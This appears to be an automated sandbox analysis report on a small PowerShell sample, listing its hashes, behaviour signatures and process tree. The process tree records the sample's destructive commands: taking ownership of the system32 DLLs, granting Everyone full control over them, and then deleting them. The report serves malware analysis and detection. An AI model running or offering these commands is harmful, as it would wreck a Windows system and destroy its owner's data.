Analysis
- max time kernel
47s - max time network
40s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
09/08/2024, 20:39
Static task
static1
Behavioral task
behavioral1
Sample
code.ps1
Resource
win7-20240705-en
9 signatures
150 seconds
General
- Target code.ps1
- Size 163B
- Sample240809-zfawfasbkh
- SHA256 0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0
- MD5 282af76963409eb19dd913ccc17971cd
- SHA1 acbf38de2933e3bf07e242f574fd38bc3329cbba
- SHA512 b8d4379b8c280be9e8d235043a4275e8264e418489bf250f34c4cea49845af11fe39c1fa324d5f852c3ec219ca2de53a831299a86421004c215a0027116e2449
- MD5 SHA1 SHA512
Malware Config
Signatures
- Possible privilege escalation attempt 2 IoCs
pid Process 3264 takeown.exe 2788 icacls.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 3264 takeown.exe 2788 icacls.exe -
pid Process 4212 powershell.exe - Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache SearchApp.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4212 powershell.exe 4212 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4212 powershell.exe Token: SeTakeOwnershipPrivilege 3264 takeown.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 512 SearchApp.exe 1248 StartMenuExperienceHost.exe 4660 SearchApp.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4212 wrote to memory of 1764 4212 powershell.exe 85 PID 4212 wrote to memory of 1764 4212 powershell.exe 85 PID 1764 wrote to memory of 3264 1764 cmd.exe 86 PID 1764 wrote to memory of 3264 1764 cmd.exe 86 PID 4212 wrote to memory of 4660 4212 powershell.exe 90 PID 4212 wrote to memory of 4660 4212 powershell.exe 90 PID 4660 wrote to memory of 2788 4660 cmd.exe 91 PID 4660 wrote to memory of 2788 4660 cmd.exe 91 PID 4212 wrote to memory of 1528 4212 powershell.exe 92 PID 4212 wrote to memory of 1528 4212 powershell.exe 92
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\*.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3264
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"2⤵
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\system32\icacls.exeicacls C:\Windows\system32\*.dll /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2788
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul"2⤵PID:1528
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:512
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1248
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4660
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdlgjbag.rzt.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512